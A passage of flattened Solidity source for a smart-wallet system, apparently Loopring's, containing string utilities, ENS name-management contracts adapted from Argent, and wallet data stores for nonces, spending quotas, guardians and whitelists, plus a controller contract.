function split(slice memory self, slice memory needle, slice memory token) internal pure returns (slice memory) {
uint ptr = findPtr(self._len, self._ptr, needle._len, needle._ptr);
token._ptr = self._ptr;
token._len = ptr - self._ptr;
if (ptr == self._ptr + self._len) {
// Not found
self._len = 0;
} else {
self._len -= token._len + needle._len;
self._ptr = ptr + needle._len;
}
return token;
}
/*
* @dev Splits the slice, setting `self` to everything after the first
* occurrence of `needle`, and returning everything before it. If
* `needle` does not occur in `self`, `self` is set to the empty slice,
* and the entirety of `self` is returned.
* @param self The slice to split.
* @param needle The text to search for in `self`.
* @return The part of `self` up to the first occurrence of `delim`.
*/
function split(slice memory self, slice memory needle) internal pure returns (slice memory token) {
split(self, needle, token);
}
/*
* @dev Splits the slice, setting `self` to everything before the last
* occurrence of `needle`, and `token` to everything after it. If
* `needle` does not occur in `self`, `self` is set to the empty slice,
* and `token` is set to the entirety of `self`.
* @param self The slice to split.
* @param needle The text to search for in `self`.
* @param token An output parameter to which the first token is written.
* @return `token`.
*/
function rsplit(slice memory self, slice memory needle, slice memory token) internal pure returns (slice memory) {
uint ptr = rfindPtr(self._len, self._ptr, needle._len, needle._ptr);
token._ptr = ptr;
token._len = self._len - (ptr - self._ptr);
if (ptr == self._ptr) {
// Not found
self._len = 0;
} else {
self._len -= token._len + needle._len;
}
return token;
}
/*
* @dev Splits the slice, setting `self` to everything before the last
* occurrence of `needle`, and returning everything after it. If
* `needle` does not occur in `self`, `self` is set to the empty slice,
* and the entirety of `self` is returned.
* @param self The slice to split.
* @param needle The text to search for in `self`.
* @return The part of `self` after the last occurrence of `delim`.
*/
function rsplit(slice memory self, slice memory needle) internal pure returns (slice memory token) {
rsplit(self, needle, token);
}
/*
* @dev Counts the number of nonoverlapping occurrences of `needle` in `self`.
* @param self The slice to search.
* @param needle The text to search for in `self`.
* @return The number of occurrences of `needle` found in `self`.
*/
function count(slice memory self, slice memory needle) internal pure returns (uint cnt) {
uint ptr = findPtr(self._len, self._ptr, needle._len, needle._ptr) + needle._len;
while (ptr <= self._ptr + self._len) {
cnt++;
ptr = findPtr(self._len - (ptr - self._ptr), ptr, needle._len, needle._ptr) + needle._len;
}
}
/*
* @dev Returns True if `self` contains `needle`.
* @param self The slice to search.
* @param needle The text to search for in `self`.
* @return True if `needle` is found in `self`, false otherwise.
*/
function contains(slice memory self, slice memory needle) internal pure returns (bool) {
return rfindPtr(self._len, self._ptr, needle._len, needle._ptr) != self._ptr;
}
/*
* @dev Returns a newly allocated string containing the concatenation of
* `self` and `other`.
* @param self The first slice to concatenate.
* @param other The second slice to concatenate.
* @return The concatenation of the two strings.
*/
function concat(slice memory self, slice memory other) internal pure returns (string memory) {
string memory ret = new string(self._len + other._len);
uint retptr;
assembly { retptr := add(ret, 32) }
memcpy(retptr, self._ptr, self._len);
memcpy(retptr + self._len, other._ptr, other._len);
return ret;
}
/*
* @dev Joins an array of slices, using `self` as a delimiter, returning a
* newly allocated string.
* @param self The delimiter to use.
* @param parts A list of slices to join.
* @return A newly allocated string containing all the slices in `parts`,
* joined with `self`.
*/
function join(slice memory self, slice[] memory parts) internal pure returns (string memory) {
if (parts.length == 0)
return "";
uint length = self._len * (parts.length - 1);
for(uint i = 0; i < parts.length; i++)
length += parts[i]._len;
string memory ret = new string(length);
uint retptr;
assembly { retptr := add(ret, 32) }
for(uint i = 0; i < parts.length; i++) {
memcpy(retptr, parts[i]._ptr, parts[i]._len);
retptr += parts[i]._len;
if (i < parts.length - 1) {
memcpy(retptr, self._ptr, self._len);
retptr += self._len;
}
}
return ret;
}
}
// Taken from Argent's code base - https://github.com/argentlabs/argent-contracts/blob/develop/contracts/ens/ENS.sol
// with few modifications.
/**
* ENS Registry interface.
*/
interface ENSRegistry {
// Logged when the owner of a node assigns a new owner to a subnode.
event NewOwner(bytes32 indexed node, bytes32 indexed label, address owner);
// Logged when the owner of a node transfers ownership to a new account.
event Transfer(bytes32 indexed node, address owner);
// Logged when the resolver for a node changes.
event NewResolver(bytes32 indexed node, address resolver);
// Logged when the TTL of a node changes
event NewTTL(bytes32 indexed node, uint64 ttl);
function setSubnodeOwner(bytes32 node, bytes32 label, address owner) external;
function setResolver(bytes32 node, address resolver) external;
function setOwner(bytes32 node, address owner) external;
function setTTL(bytes32 node, uint64 ttl) external;
function owner(bytes32 node) external view returns (address);
function resolver(bytes32 node) external view returns (address);
function ttl(bytes32 node) external view returns (uint64);
}
/**
* ENS Resolver interface.
*/
abstract contract ENSResolver {
function addr(bytes32 _node) public view virtual returns (address);
function setAddr(bytes32 _node, address _addr) public virtual;
function name(bytes32 _node) public view virtual returns (string memory);
function setName(bytes32 _node, string memory _name) public virtual;
}
/**
* ENS Reverse Registrar interface.
*/
abstract contract ENSReverseRegistrar {
function claim(address _owner) public virtual returns (bytes32 _node);
function claimWithResolver(address _owner, address _resolver) public virtual returns (bytes32);
function setName(string memory _name) public virtual returns (bytes32);
function node(address _addr) public view virtual returns (bytes32);
}
// Copyright 2017 Loopring Technology Limited.
// Taken from Argent's code base - https://github.com/argentlabs/argent-contracts/blob/develop/contracts/ens/ENSConsumer.sol
// with few modifications.
/**
* @title ENSConsumer
* @dev Helper contract to resolve ENS names.
* @author Julien Niset - <[email protected]>
*/
contract ENSConsumer {
using strings for *;
// namehash('addr.reverse')
bytes32 constant public ADDR_REVERSE_NODE = 0x91d1777781884d03a6757a803996e38de2a42967fb37eeaca72729271025a9e2;
// the address of the ENS registry
address ensRegistry;
/**
* @dev No address should be provided when deploying on Mainnet to avoid storage cost. The
* contract will use the hardcoded value.
*/
constructor(address _ensRegistry) {
ensRegistry = _ensRegistry;
}
/**
* @dev Resolves an ENS name to an address.
* @param _node The namehash of the ENS name.
*/
function resolveEns(bytes32 _node) public view returns (address) {
address resolver = getENSRegistry().resolver(_node);
return ENSResolver(resolver).addr(_node);
}
/**
* @dev Gets the official ENS registry.
*/
function getENSRegistry() public view returns (ENSRegistry) {
return ENSRegistry(ensRegistry);
}
/**
* @dev Gets the official ENS reverse registrar.
*/
function getENSReverseRegistrar() public view returns (ENSReverseRegistrar) {
return ENSReverseRegistrar(getENSRegistry().owner(ADDR_REVERSE_NODE));
}
}
// Copyright 2017 Loopring Technology Limited.
// Copyright 2017 Loopring Technology Limited.
/// @title ModuleRegistry
/// @dev A registry for modules.
///
/// @author Daniel Wang - <[email protected]>
interface ModuleRegistry
{
/// @dev Registers and enables a new module.
function registerModule(address module) external;
/// @dev Disables a module
function disableModule(address module) external;
/// @dev Returns true if the module is registered and enabled.
function isModuleEnabled(address module) external view returns (bool);
/// @dev Returns the list of enabled modules.
function enabledModules() external view returns (address[] memory _modules);
/// @dev Returns the number of enbaled modules.
function numOfEnabledModules() external view returns (uint);
/// @dev Returns true if the module is ever registered.
function isModuleRegistered(address module) external view returns (bool);
}
/// @title Controller
///
/// @author Daniel Wang - <[email protected]>
abstract contract Controller
{
ModuleRegistry public moduleRegistry;
WalletRegistry public walletRegistry;
address public walletFactory;
}
// Copyright 2017 Loopring Technology Limited.
/// @title ReentrancyGuard
/// @author Brecht Devos - <[email protected]>
/// @dev Exposes a modifier that guards a function against reentrancy
/// Changing the value of the same storage value multiple times in a transaction
/// is cheap (starting from Istanbul) so there is no need to minimize
/// the number of times the value is changed
contract ReentrancyGuard
{
//The default value must be 0 in order to work behind a proxy.
uint private _guardValue;
modifier nonReentrant()
{
require(_guardValue == 0, "REENTRANCY");
_guardValue = 1;
_;
_guardValue = 0;
}
}
// Copyright 2017 Loopring Technology Limited.
/// @title ERC20 Token Interface
/// @dev see https://github.com/ethereum/EIPs/issues/20
/// @author Daniel Wang - <[email protected]>
abstract contract ERC20
{
function totalSupply()
public
view
virtual
returns (uint);
function balanceOf(
address who
)
public
view
virtual
returns (uint);
function allowance(
address owner,
address spender
)
public
view
virtual
returns (uint);
function transfer(
address to,
uint value
)
public
virtual
returns (bool);
function transferFrom(
address from,
address to,
uint value
)
public
virtual
returns (bool);
function approve(
address spender,
uint value
)
public
virtual
returns (bool);
}
// Copyright 2017 Loopring Technology Limited.
/// @title Wallet
/// @dev Base contract for smart wallets.
/// Sub-contracts must NOT use non-default constructor to initialize
/// wallet states, instead, `init` shall be used. This is to enable
/// proxies to be deployed in front of the real wallet contract for
/// saving gas.
///
/// @author Daniel Wang - <[email protected]>
///
/// The design of this contract is inspired by Argent's contract codebase:
/// https://github.com/argentlabs/argent-contracts
interface Wallet
{
function version() external pure returns (string memory);
function owner() external view returns (address);
/// @dev Set a new owner.
function setOwner(address newOwner) external;
/// @dev Adds a new module. The `init` method of the module
/// will be called with `address(this)` as the parameter.
/// This method must throw if the module has already been added.
/// @param _module The module's address.
function addModule(address _module) external;
/// @dev Removes an existing module. This method must throw if the module
/// has NOT been added or the module is the wallet's only module.
/// @param _module The module's address.
function removeModule(address _module) external;
/// @dev Checks if a module has been added to this wallet.
/// @param _module The module to check.
/// @return True if the module exists; False otherwise.
function hasModule(address _module) external view returns (bool);
/// @dev Binds a method from the given module to this
/// wallet so the method can be invoked using this wallet's default
/// function.
/// Note that this method must throw when the given module has
/// not been added to this wallet.
/// @param _method The method's 4-byte selector.
/// @param _module The module's address. Use address(0) to unbind the method.
function bindMethod(bytes4 _method, address _module) external;
/// @dev Returns the module the given method has been bound to.
/// @param _method The method's 4-byte selector.
/// @return _module The address of the bound module. If no binding exists,
/// returns address(0) instead.
function boundMethodModule(bytes4 _method) external view returns (address _module);
/// @dev Performs generic transactions. Any module that has been added to this
/// wallet can use this method to transact on any third-party contract with
/// msg.sender as this wallet itself.
///
/// This method will emit `Transacted` event if it doesn't throw.
///
/// Note: this method must ONLY allow invocations from a module that has
/// been added to this wallet. The wallet owner shall NOT be permitted
/// to call this method directly.
///
/// @param mode The transaction mode, 1 for CALL, 2 for DELEGATECALL.
/// @param to The desitination address.
/// @param value The amount of Ether to transfer.
/// @param data The data to send over using `to.call{value: value}(data)`
/// @return returnData The transaction's return value.
function transact(
uint8 mode,
address to,
uint value,
bytes calldata data
)
external
returns (bytes memory returnData);
}
// Taken from Argent's code base - https://github.com/argentlabs/argent-contracts/blob/develop/contracts/ens/ArgentENSManager.sol
// with few modifications.
/**
* @dev Interface for an ENS Mananger.
*/
interface IENSManager {
function changeRootnodeOwner(address _newOwner) external;
function isAvailable(bytes32 _subnode) external view returns (bool);
function resolveName(address _wallet) external view returns (string memory);
function register(
address _wallet,
address _owner,
string calldata _label,
bytes calldata _approval
) external;
}
/**
* @title BaseENSManager
* @dev Implementation of an ENS manager that orchestrates the complete
* registration of subdomains for a single root (e.g. argent.eth).
* The contract defines a manager role who is the only role that can trigger the registration of
* a new subdomain.
* @author Julien Niset - <[email protected]>
*/
contract BaseENSManager is IENSManager, OwnerManagable, ENSConsumer {
using strings for *;
using BytesUtil for bytes;
using MathUint for uint;
// The managed root name
string public rootName;
// The managed root node
bytes32 public rootNode;
// The address of the ENS resolver
address public ensResolver;
// *************** Events *************************** //
event RootnodeOwnerChange(bytes32 indexed _rootnode, address indexed _newOwner);
event ENSResolverChanged(address addr);
event Registered(address indexed _wallet, address _owner, string _ens);
event Unregistered(string _ens);
// *************** Constructor ********************** //
/**
* @dev Constructor that sets the ENS root name and root node to manage.
* @param _rootName The root name (e.g. argentx.eth).
* @param _rootNode The node of the root name (e.g. namehash(argentx.eth)).
*/
constructor(string memory _rootName, bytes32 _rootNode, address _ensRegistry, address _ensResolver)
ENSConsumer(_ensRegistry)
{
rootName = _rootName;
rootNode = _rootNode;
ensResolver = _ensResolver;
}
// *************** External Functions ********************* //
/**
* @dev This function must be called when the ENS Manager contract is replaced
* and the address of the new Manager should be provided.
* @param _newOwner The address of the new ENS manager that will manage the root node.
*/
function changeRootnodeOwner(address _newOwner) external override onlyOwner {
getENSRegistry().setOwner(rootNode, _newOwner);
emit RootnodeOwnerChange(rootNode, _newOwner);
}
/**
* @dev Lets the owner change the address of the ENS resolver contract.
* @param _ensResolver The address of the ENS resolver contract.
*/
function changeENSResolver(address _ensResolver) external onlyOwner {
require(_ensResolver != address(0), "WF: address cannot be null");
ensResolver = _ensResolver;
emit ENSResolverChanged(_ensResolver);
}
/**
* @dev Lets the manager assign an ENS subdomain of the root node to a target address.
* Registers both the forward and reverse ENS.
* @param _wallet The wallet which owns the subdomain.
* @param _owner The wallet's owner.
* @param _label The subdomain label.
* @param _approval The signature of _wallet, _owner and _label by a manager.
*/
function register(
address _wallet,
address _owner,
string calldata _label,
bytes calldata _approval
)
external
override
onlyManager
{
verifyApproval(_wallet, _owner, _label, _approval);
bytes32 labelNode = keccak256(abi.encodePacked(_label));
bytes32 node = keccak256(abi.encodePacked(rootNode, labelNode));
address currentOwner = getENSRegistry().owner(node);
require(currentOwner == address(0), "AEM: _label is alrealdy owned");
// Forward ENS
getENSRegistry().setSubnodeOwner(rootNode, labelNode, address(this));
getENSRegistry().setResolver(node, ensResolver);
getENSRegistry().setOwner(node, _wallet);
ENSResolver(ensResolver).setAddr(node, _wallet);
// Reverse ENS
strings.slice[] memory parts = new strings.slice[](2);
parts[0] = _label.toSlice();
parts[1] = rootName.toSlice();
string memory name = ".".toSlice().join(parts);
bytes32 reverseNode = getENSReverseRegistrar().node(_wallet);
ENSResolver(ensResolver).setName(reverseNode, name);
emit Registered(_wallet, _owner, name);
}
// *************** Public Functions ********************* //
/**
* @dev Resolves an address to an ENS name
* @param _wallet The ENS owner address
*/
function resolveName(address _wallet) public view override returns (string memory) {
bytes32 reverseNode = getENSReverseRegistrar().node(_wallet);
return ENSResolver(ensResolver).name(reverseNode);
}
/**
* @dev Returns true is a given subnode is available.
* @param _subnode The target subnode.
* @return true if the subnode is available.
*/
function isAvailable(bytes32 _subnode) public view override returns (bool) {
bytes32 node = keccak256(abi.encodePacked(rootNode, _subnode));
address currentOwner = getENSRegistry().owner(node);
if(currentOwner == address(0)) {
return true;
}
return false;
}
function verifyApproval(
address _wallet,
address _owner,
string memory _label,
bytes memory _approval
)
internal
view
{
bytes32 messageHash = keccak256(
abi.encodePacked(
_wallet,
_owner,
_label
)
);
bytes32 hash = keccak256(
abi.encodePacked(
"\x19Ethereum Signed Message:\n32",
messageHash
)
);
address signer = SignatureUtil.recoverECDSASigner(hash, _approval);
require(isManager(signer), "UNAUTHORIZED");
}
}
// Copyright 2017 Loopring Technology Limited.
/// @title PriceOracle
interface PriceOracle
{
// @dev Return's the token's value in ETH
function tokenValue(address token, uint amount)
external
view
returns (uint value);
}
// Copyright 2017 Loopring Technology Limited.
// Copyright 2017 Loopring Technology Limited.
// Copyright 2017 Loopring Technology Limited.
/// @title DappAddressStore
/// @dev This store maintains global whitelist dapps.
contract DappAddressStore is DataStore, OwnerManagable
{
bytes32 internal constant DAPPS = keccak256("__DAPPS__");
event Whitelisted(
address addr,
bool whitelisted
);
constructor() DataStore() {}
function addDapp(address addr)
public
onlyManager
{
addAddressToSet(DAPPS, addr, true);
emit Whitelisted(addr, true);
}
function removeDapp(address addr)
public
onlyManager
{
removeAddressFromSet(DAPPS, addr);
emit Whitelisted(addr, false);
}
function dapps()
public
view
returns (
address[] memory addresses
)
{
return addressesInSet(DAPPS);
}
function isDapp(
address addr
)
public
view
returns (bool)
{
return isAddressInSet(DAPPS, addr);
}
function numDapps()
public
view
returns (uint)
{
return numAddressesInSet(DAPPS);
}
}
// Copyright 2017 Loopring Technology Limited.
/// @title HashStore
/// @dev This store maintains all hashes for SignedRequest.
contract HashStore is DataStore
{
// wallet => hash => consumed
mapping(address => mapping(bytes32 => bool)) public hashes;
constructor() {}
function verifyAndUpdate(address wallet, bytes32 hash)
public
onlyWalletModule(wallet)
{
require(!hashes[wallet][hash], "HASH_EXIST");
hashes[wallet][hash] = true;
}
}
// Copyright 2017 Loopring Technology Limited.
/// @title NonceStore
/// @dev This store maintains all nonces for metaTx
contract NonceStore is DataStore
{
mapping(address => uint) public nonces;
constructor() DataStore() {}
function lastNonce(address wallet)
public
view
returns (uint)
{
return nonces[wallet];
}
function isNonceValid(address wallet, uint nonce)
public
view
returns (bool)
{
return nonce > nonces[wallet] && (nonce >> 128) <= block.number;
}
function verifyAndUpdate(address wallet, uint nonce)
public
onlyWalletModule(wallet)
{
require(isNonceValid(wallet, nonce), "INVALID_NONCE");
nonces[wallet] = nonce;
}
}
// Copyright 2017 Loopring Technology Limited.
/// @title QuotaStore
/// @dev This store maintains daily spending quota for each wallet.
/// A rolling daily limit is used.
contract QuotaStore is DataStore, Claimable
{
using MathUint for uint;
using SafeCast for uint;
uint128 public defaultQuota;
// Optimized to fit into 64 bytes (2 slots)
struct Quota
{
uint128 currentQuota; // 0 indicates default
uint128 pendingQuota;
uint128 spentAmount;
uint64 spentTimestamp;
uint64 pendingUntil;
}
mapping (address => Quota) public quotas;
event DefaultQuotaChanged(
uint prevValue,
uint currentValue
);
event QuotaScheduled(
address wallet,
uint pendingQuota,
uint64 pendingUntil
);
constructor(uint128 _defaultQuota)
DataStore()
{
defaultQuota = _defaultQuota;
}
function changeDefaultQuota(uint128 _defaultQuota)
external
onlyOwner
{
require(
_defaultQuota != defaultQuota &&
_defaultQuota >= 1 ether &&
_defaultQuota <= 100 ether,
"INVALID_DEFAULT_QUOTA"
);
emit DefaultQuotaChanged(defaultQuota, _defaultQuota);
defaultQuota = _defaultQuota;
}
function changeQuota(
address wallet,
uint newQuota,
uint effectiveTime
)
public
onlyWalletModule(wallet)
{
quotas[wallet].currentQuota = currentQuota(wallet).toUint128();
quotas[wallet].pendingQuota = newQuota.toUint128();
quotas[wallet].pendingUntil = effectiveTime.toUint64();
emit QuotaScheduled(
wallet,
newQuota,
quotas[wallet].pendingUntil
);
}
function checkAndAddToSpent(
address wallet,
uint amount
)
public
onlyWalletModule(wallet)
{
require(hasEnoughQuota(wallet, amount), "QUOTA_EXCEEDED");
addToSpent(wallet, amount);
}
function addToSpent(
address wallet,
uint amount
)
public
onlyWalletModule(wallet)
{
Quota storage q = quotas[wallet];
q.spentAmount = spentQuota(wallet).add(amount).toUint128();
q.spentTimestamp = uint64(block.timestamp);
}
function currentQuota(address wallet)
public
view
returns (uint)
{
Quota storage q = quotas[wallet];
uint value = q.pendingUntil <= block.timestamp ?
q.pendingQuota : q.currentQuota;
return value == 0 ? defaultQuota : value;
}
function pendingQuota(address wallet)
public
view
returns (
uint _pendingQuota,
uint _pendingUntil
)
{
Quota storage q = quotas[wallet];
if (q.pendingUntil > 0 && q.pendingUntil > block.timestamp) {
_pendingQuota = q.pendingQuota > 0 ? q.pendingQuota : defaultQuota;
_pendingUntil = q.pendingUntil;
}
}
function spentQuota(address wallet)
public
view
returns (uint)
{
Quota storage q = quotas[wallet];
uint timeSinceLastSpent = block.timestamp.sub(q.spentTimestamp);
if (timeSinceLastSpent < 1 days) {
return uint(q.spentAmount).sub(timeSinceLastSpent.mul(q.spentAmount) / 1 days);
} else {
return 0;
}
}
function availableQuota(address wallet)
public
view
returns (uint)
{
uint quota = currentQuota(wallet);
uint spent = spentQuota(wallet);
return quota > spent ? quota - spent : 0;
}
function hasEnoughQuota(
address wallet,
uint requiredAmount
)
public
view
returns (bool)
{
return availableQuota(wallet) >= requiredAmount;
}
}
// Copyright 2017 Loopring Technology Limited.
pragma experimental ABIEncoderV2;
/// @title SecurityStore
///
/// @author Daniel Wang - <[email protected]>
///
/// The design of this contract is inspired by Argent's contract codebase:
/// https://github.com/argentlabs/argent-contracts
contract SecurityStore is DataStore
{
using MathUint for uint;
using SafeCast for uint;
struct Wallet
{
address inheritor;
uint64 lastActive; // the latest timestamp the owner is considered to be active
address lockedBy; // the module that locked the wallet.
uint64 lock;
Data.Guardian[] guardians;
mapping (address => uint) guardianIdx;
}
mapping (address => Wallet) public wallets;
constructor() DataStore() {}
function isGuardian(
address wallet,
address addr
)
public
view
returns (bool)
{
Data.Guardian memory guardian = getGuardian(wallet, addr);
return guardian.addr != address(0) && isGuardianActive(guardian);
}
function isGuardianOrPendingAddition(
address wallet,
address addr
)
public
view
returns (bool)
{
Data.Guardian memory guardian = getGuardian(wallet, addr);
return guardian.addr != address(0) &&
(isGuardianActive(guardian) || isGuardianPendingAddition(guardian));
}
function getGuardian(
address wallet,
address guardianAddr
)
public
view
returns (Data.Guardian memory)
{
uint index = wallets[wallet].guardianIdx[guardianAddr];
if (index > 0) {
return wallets[wallet].guardians[index-1];
}
}
// @dev Returns active guardians.
function guardians(address wallet)
public
view
returns (Data.Guardian[] memory _guardians)
{
Wallet storage w = wallets[wallet];
_guardians = new Data.Guardian[](w.guardians.length);
uint index = 0;
for (uint i = 0; i < w.guardians.length; i++) {
Data.Guardian memory g = w.guardians[i];
if (isGuardianActive(g)) {
_guardians[index] = g;
index ++;
}
}
assembly { mstore(_guardians, index) }
}
// @dev Returns the number of active guardians.
function numGuardians(address wallet)
public
view
returns (uint count)
{
Wallet storage w = wallets[wallet];
for (uint i = 0; i < w.guardians.length; i++) {
if (isGuardianActive(w.guardians[i])) {
count ++;
}
}
}
// @dev Returns guardians who are either active or pending addition.
function guardiansWithPending(address wallet)
public
view
returns (Data.Guardian[] memory _guardians)
{
Wallet storage w = wallets[wallet];
_guardians = new Data.Guardian[](w.guardians.length);
uint index = 0;
for (uint i = 0; i < w.guardians.length; i++) {
Data.Guardian memory g = w.guardians[i];
if (isGuardianActive(g) || isGuardianPendingAddition(g)) {
_guardians[index] = g;
index ++;
}
}
assembly { mstore(_guardians, index) }
}
// @dev Returns the number of guardians who are active or pending addition.
function numGuardiansWithPending(address wallet)
public
view
returns (uint count)
{
Wallet storage w = wallets[wallet];
for (uint i = 0; i < w.guardians.length; i++) {
Data.Guardian memory g = w.guardians[i];
if (isGuardianActive(g) || isGuardianPendingAddition(g)) {
count ++;
}
}
}
function addGuardian(
address wallet,
address guardianAddr,
uint group,
uint validSince
)
public
onlyWalletModule(wallet)
{
cleanRemovedGuardians(wallet);
require(guardianAddr != address(0), "ZERO_ADDRESS");
Wallet storage w = wallets[wallet];
uint pos = w.guardianIdx[guardianAddr];
require(pos == 0, "GUARDIAN_EXISTS");
// Add the new guardian
Data.Guardian memory g = Data.Guardian(
guardianAddr,
group.toUint16(),
validSince.toUint40(),
uint40(0)
);
w.guardians.push(g);
w.guardianIdx[guardianAddr] = w.guardians.length;
}
function cancelGuardianAddition(
address wallet,
address guardianAddr
)
public
onlyWalletModule(wallet)
{
cleanRemovedGuardians(wallet);
Wallet storage w = wallets[wallet];
uint idx = w.guardianIdx[guardianAddr];
require(idx > 0, "GUARDIAN_NOT_EXISTS");
require(
isGuardianPendingAddition(w.guardians[idx - 1]),
"NOT_PENDING_ADDITION"
);
Data.Guardian memory lastGuardian = w.guardians[w.guardians.length - 1];
if (guardianAddr != lastGuardian.addr) {
w.guardians[idx - 1] = lastGuardian;
w.guardianIdx[lastGuardian.addr] = idx;
}
w.guardians.pop();
delete w.guardianIdx[guardianAddr];
}
function removeGuardian(
address wallet,
address guardianAddr,
uint validUntil
)
public
onlyWalletModule(wallet)
{
cleanRemovedGuardians(wallet);
Wallet storage w = wallets[wallet];
uint idx = w.guardianIdx[guardianAddr];
require(idx > 0, "GUARDIAN_NOT_EXISTS");
w.guardians[idx - 1].validUntil = validUntil.toUint40();
}
function removeAllGuardians(address wallet)
public
onlyWalletModule(wallet)
{
Wallet storage w = wallets[wallet];
for (uint i = 0; i < w.guardians.length; i++) {
delete w.guardianIdx[w.guardians[i].addr];
}
delete w.guardians;
}
function cancelGuardianRemoval(
address wallet,
address guardianAddr
)
public
onlyWalletModule(wallet)
{
cleanRemovedGuardians(wallet);
Wallet storage w = wallets[wallet];
uint idx = w.guardianIdx[guardianAddr];
require(idx > 0, "GUARDIAN_NOT_EXISTS");
require(
isGuardianPendingRemoval(w.guardians[idx - 1]),
"NOT_PENDING_REMOVAL"
);
w.guardians[idx - 1].validUntil = 0;
}
function getLock(address wallet)
public
view
returns (uint _lock, address _lockedBy)
{
_lock = wallets[wallet].lock;
_lockedBy = wallets[wallet].lockedBy;
}
function setLock(
address wallet,
uint lock
)
public
onlyWalletModule(wallet)
{
require(lock == 0 || lock > block.timestamp, "INVALID_LOCK_TIME");
wallets[wallet].lock = lock.toUint64();
wallets[wallet].lockedBy = msg.sender;
}
function lastActive(address wallet)
public
view
returns (uint)
{
return wallets[wallet].lastActive;
}
function touchLastActive(address wallet)
public
onlyWalletModule(wallet)
{
wallets[wallet].lastActive = uint64(block.timestamp);
}
function inheritor(address wallet)
public
view
returns (
address _who,
uint _lastActive
)
{
_who = wallets[wallet].inheritor;
_lastActive = wallets[wallet].lastActive;
}
function setInheritor(address wallet, address who)
public
onlyWalletModule(wallet)
{
wallets[wallet].inheritor = who;
wallets[wallet].lastActive = uint64(block.timestamp);
}
function cleanRemovedGuardians(address wallet)
private
{
Wallet storage w = wallets[wallet];
for (int i = int(w.guardians.length) - 1; i >= 0; i--) {
Data.Guardian memory g = w.guardians[uint(i)];
if (isGuardianExpired(g)) {
Data.Guardian memory lastGuardian = w.guardians[w.guardians.length - 1];
if (g.addr != lastGuardian.addr) {
w.guardians[uint(i)] = lastGuardian;
w.guardianIdx[lastGuardian.addr] = uint(i) + 1;
}
w.guardians.pop();
delete w.guardianIdx[g.addr];
}
}
}
function isGuardianActive(Data.Guardian memory guardian)
private
view
returns (bool)
{
return guardian.validSince > 0 && guardian.validSince <= block.timestamp &&
!isGuardianExpired(guardian);
}
function isGuardianPendingAddition(Data.Guardian memory guardian)
private
view
returns (bool)
{
return guardian.validSince > block.timestamp;
}
function isGuardianPendingRemoval(Data.Guardian memory guardian)
private
view
returns (bool)
{
return guardian.validUntil > block.timestamp;
}
function isGuardianExpired(Data.Guardian memory guardian)
private
view
returns (bool)
{
return guardian.validUntil > 0 &&
guardian.validUntil <= block.timestamp;
}
}
// Copyright 2017 Loopring Technology Limited.
/// @title WhitelistStore
/// @dev This store maintains a wallet's whitelisted addresses.
contract WhitelistStore is DataStore, AddressSet
{
// wallet => whitelisted_addr => effective_since
mapping(address => mapping(address => uint)) public effectiveTimeMap;
event Whitelisted(
address wallet,
address addr,
bool whitelisted,
uint effectiveTime
);
constructor() DataStore() {}
function addToWhitelist(
address wallet,
address addr,
uint effectiveTime
)
public
onlyWalletModule(wallet)
{
addAddressToSet(walletKey(wallet), addr, true);
uint effective = effectiveTime >= block.timestamp ? effectiveTime : block.timestamp;
effectiveTimeMap[wallet][addr] = effective;
emit Whitelisted(wallet, addr, true, effective);
}
function removeFromWhitelist(
address wallet,
address addr
)
public
onlyWalletModule(wallet)
{
removeAddressFromSet(walletKey(wallet), addr);
delete effectiveTimeMap[wallet][addr];
emit Whitelisted(wallet, addr, false, 0);
}
function whitelist(address wallet)
public
view
returns (
address[] memory addresses,
uint[] memory effectiveTimes
)
{
addresses = addressesInSet(walletKey(wallet));
effectiveTimes = new uint[](addresses.length);
for (uint i = 0; i < addresses.length; i++) {
effectiveTimes[i] = effectiveTimeMap[wallet][addresses[i]];
}
}
function isWhitelisted(
address wallet,
address addr
)
public
view
returns (
bool isWhitelistedAndEffective,
uint effectiveTime
)
{
effectiveTime = effectiveTimeMap[wallet][addr];
isWhitelistedAndEffective = effectiveTime > 0 && effectiveTime <= block.timestamp;
}
function whitelistSize(address wallet)
public
view
returns (uint)
{
return numAddressesInSet(walletKey(wallet));
}
function walletKey(address addr)
public
pure
returns (bytes32)
{
return keccak256(abi.encodePacked("__WHITELIST__", addr));
}
}
/// @title ControllerImpl
/// @dev Basic implementation of a Controller.
///
/// @author Daniel Wang - <[email protected]>
contract ControllerImpl is Claimable, Controller
{
address public collectTo;
uint public defaultLockPeriod;
BaseENSManager public ensManager;
PriceOracle public priceOracle;
DappAddressStore public dappAddressStore;
HashStore public hashStore;
NonceStore public nonceStore;
QuotaStore public quotaStore;
SecurityStore public securityStore;
WhitelistStore public whitelistStore;
// Make sure this value if false in production env.
// Ideally we can use chainid(), but there is a bug in truffle so testing is buggy:
// https://github.com/trufflesuite/ganache/issues/1643
bool public allowChangingWalletFactory;
event AddressChanged(
string name,
address addr
);
constructor(
ModuleRegistry _moduleRegistry,
WalletRegistry _walletRegistry,
uint _defaultLockPeriod,
address _collectTo,
BaseENSManager _ensManager,
PriceOracle _priceOracle,
bool _allowChangingWalletFactory
)
{
moduleRegistry = _moduleRegistry;
walletRegistry = _walletRegistry;
defaultLockPeriod = _defaultLockPeriod;
require(_collectTo != address(0), "ZERO_ADDRESS");
collectTo = _collectTo;
ensManager = _ensManager;
priceOracle = _priceOracle;
allowChangingWalletFactory = _allowChangingWalletFactory;
}
function initStores(
DappAddressStore _dappAddressStore,
HashStore _hashStore,
NonceStore _nonceStore,
QuotaStore _quotaStore,
SecurityStore _securityStore,
WhitelistStore _whitelistStore
)
external
onlyOwner
{
require(
address(_dappAddressStore) != address(0),
"ZERO_ADDRESS"
);
// Make sure this function can only invoked once.
require(
address(dappAddressStore) == address(0),
"INITIALIZED_ALREADY"
);
dappAddressStore = _dappAddressStore;
hashStore = _hashStore;
nonceStore = _nonceStore;
quotaStore = _quotaStore;
securityStore = _securityStore;
whitelistStore = _whitelistStore;
}
function initWalletFactory(address _walletFactory)
external
onlyOwner
{
require(
allowChangingWalletFactory || walletFactory == address(0),
"INITIALIZED_ALREADY"
);
require(_walletFactory != address(0), "ZERO_ADDRESS");
walletFactory = _walletFactory;
emit AddressChanged("WalletFactory", walletFactory);
}
function setCollectTo(address _collectTo)
external
onlyOwner
{
require(_collectTo != address(0), "ZERO_ADDRESS");
collectTo = _collectTo;
emit AddressChanged("CollectTo", collectTo);
}
function setPriceOracle(PriceOracle _priceOracle)
external
onlyOwner
{
priceOracle = _priceOracle;
emit AddressChanged("PriceOracle", address(priceOracle));
}
}
// Copyright 2017 Loopring Technology Limited.
library EIP712
{
struct Domain {
string name;
string version;
address verifyingContract;
}
